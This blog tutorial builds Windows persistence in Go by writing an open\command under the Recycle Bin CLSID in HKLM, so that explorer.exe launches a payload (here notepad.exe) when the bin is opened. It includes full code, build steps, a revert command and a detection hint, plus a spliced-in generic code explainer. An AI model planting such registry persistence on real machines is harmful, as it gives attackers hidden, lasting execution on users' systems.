Introduction
Today we’re gonna see an effective technique to mantain access in Windows systems during red team operations just by modifying a registry key which interacts with the Recycle Bin. I don’t know if any APT group uses this technique but I read about it in a vxunderground paper (see here) and I thought it may be interesting to try in Golang so let’s see how it works.
Explanation
In Windows there are some folders which have have uniques CLSID values like the ones for the “Recycle Bin” {645ff040-5081-101b-9f08-00aa002f954e} or the “My Documents” {450d8fba-ad25-11d0-98a8-0800361b1103}
All of this may sound familiar to you if you’ve ever tried the fodhelper.exe UAC bypass in which the registry HKCU is modified to execute commands as administrator without any confirmation.
Advertisement
Code
First of all we must import the necessary packages. In this case we’ll use the official Golang package to interact with registry keys
package main
 
import (
  "fmt"
  "log"
 
  "golang.org/x/sys/windows/registry"
)Explanation of the Given Code
This code is written in the Go programming language. Let's break it down step by step.
1. Package Declaration
package mainEvery Go program starts with a package declaration. The main package is used for executable programs, and it tells the Go compiler that this is an executable program rather than a shared library.
Advertisement
2. Import Statements
import (
  "fmt"
  "log"
 
  "golang.org/x/sys/windows/registry"
)The import keyword is used to include external packages in our program. In this case, we are importing three packages: fmt, log, and golang.org/x/sys/windows/registry.
- The fmtpackage provides functions for formatting and printing output.
- The logpackage provides functions for logging messages.
- The golang.org/x/sys/windows/registrypackage provides functions for interacting with the Windows registry.
We have to open the CLSID registry key
...
 
bin_key, err := registry.OpenKey(
  registry.LOCAL_MACHINE,
  "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
  registry.WRITE, // Permissions
)
 
if err != nil {
  fmt.Println("OpenKey error!")
  log.Fatal(err)
}
defer bin_key.Close()
 
...- 
    This section of code attempts to open a specific key in the Windows registry. 
Advertisement
registry.OpenKey is a function that takes three arguments:
- registry.LOCAL_MACHINE: This specifies the part of the registry we are accessing (the local machine's registry).
- "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell": This is the path to the specific registry key we want to open. It is formatted as a string and uses double backslashes (- \\) to escape the backslash character.
- registry.WRITE: This specifies the permissions we want to have on the key. In this case, we want to write to it.
After attempting to open the registry key, we check if there was an error
- if err != nil: This condition checks if an error occurred (i.e., if err is not nil).
- If there is an error, it prints an error message and logs the error using log.Fatal(err), which also terminates the program.
Closing the Registry Key
defer bin_key.Close()- deferis a keyword that schedules the- Closemethod to be called when the surrounding function (not shown here) exits.
- This ensures that the opened registry key is properly closed to free resources, even if an error occurs later in the code.
Then we create the new registry where our malicious commands will be
Advertisement
...
 
k, _, err := registry.CreateKey(
  bin_key,
  "open\\command",
  registry.ALL_ACCESS,
)
 
if err != nil {
  fmt.Println("CreateKey error!")
  log.Fatal(err)
}
 
...- 
    This section of code creates a new registry key. 
registry.CreateKey is a function that takes three arguments:
- bin_key: This is the parent key we opened earlier. The new key will be created under this key.
- "open\\command": This is the name of the new registry subkey we want to create. It is formatted as a string and uses double backslashes (\) to escape the backslash character.
- registry.ALL_ACCESS: This specifies the permissions for the new key. In this case, it grants all possible access rights.
And finally we set the value, in our case it’s a simple notepad but you could be creative to combine it with other things like UAC bypass and more
Advertisement
...
 
err = k.SetStringValue("", "notepad.exe")
if err != nil {
  log.Fatal(err)
}
 
...Let’s add more output and the final code should be something like this:
package main
 
/*
 
Author: Waseem Akram
Blog post: https://wasii.dev/blogposts/malware-development-3-persistence-via-recycle-bin-golang
 
*/
 
import (
  "fmt"
  "log"
 
  "golang.org/x/sys/windows/registry"
)
 
func main(){
 
  // Open registry key
  fmt.Println("Opening registry key...")
  bin_key, err := registry.OpenKey(
    registry.LOCAL_MACHINE,
    "SOFTWARE\\Classes\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell",
    registry.WRITE,
  )
 
  if err != nil { // Handle error
    fmt.Println("OpenKey error!")
    log.Fatal(err)
  }
  // Close key
  defer bin_key.Close()
 
  // Create new key
  fmt.Println("Creating new key...")
  k, _, err := registry.CreateKey(
    bin_key,
    "open\\command",
    registry.ALL_ACCESS,
  )
 
  if err != nil { // Handle error
    fmt.Println("CreateKey error!")
    log.Fatal(err)
  }
 
  // Set value
  fmt.Println("Setting notepad.exe as our payload...")
  err = k.SetStringValue("", "notepad.exe")
  if err != nil { // Handle error
    fmt.Println("SetStringValue error!")
    log.Fatal(err)
  }
 
  fmt.Println("Process completed!")
}Now we compile our payload and transfer it to our Windows testing machine
GOOS=windows GOARCH=amd64 go build -o recyclebin.exe main.go
   
Advertisement
I haven’t read anywhere if this operation can be done without administrator privileges but testing in my Windows it always returned “Access denied”
Be careful with your payload because testing with cmd.exe and notepad, I created an infinite loop and I had to restart my PC
As you can see after clicking the recycle bin icon a notepad.exe appears
Advertisement
   
Now if we search the parent process id (PPID) of the notepad.exe we see that it’s executed under explorer.exe process
   
Advertisement
To revert our modifications you can simply execute this powershell command Remove-Item -Path "HKLM:\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open" -Recurse -Force and it should work for you
References
https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf
https://blog.amartinsec.com/posts/recyclebin/Conclusion
This persistence technique can be useful for red teamers as it’s stealthy and everyone use the recycle bin to delete files so the payload would be executed whenever a user access to it. But the registry key can be monitored to prevent this so blue teamers should have this technique in mind
Advertisement




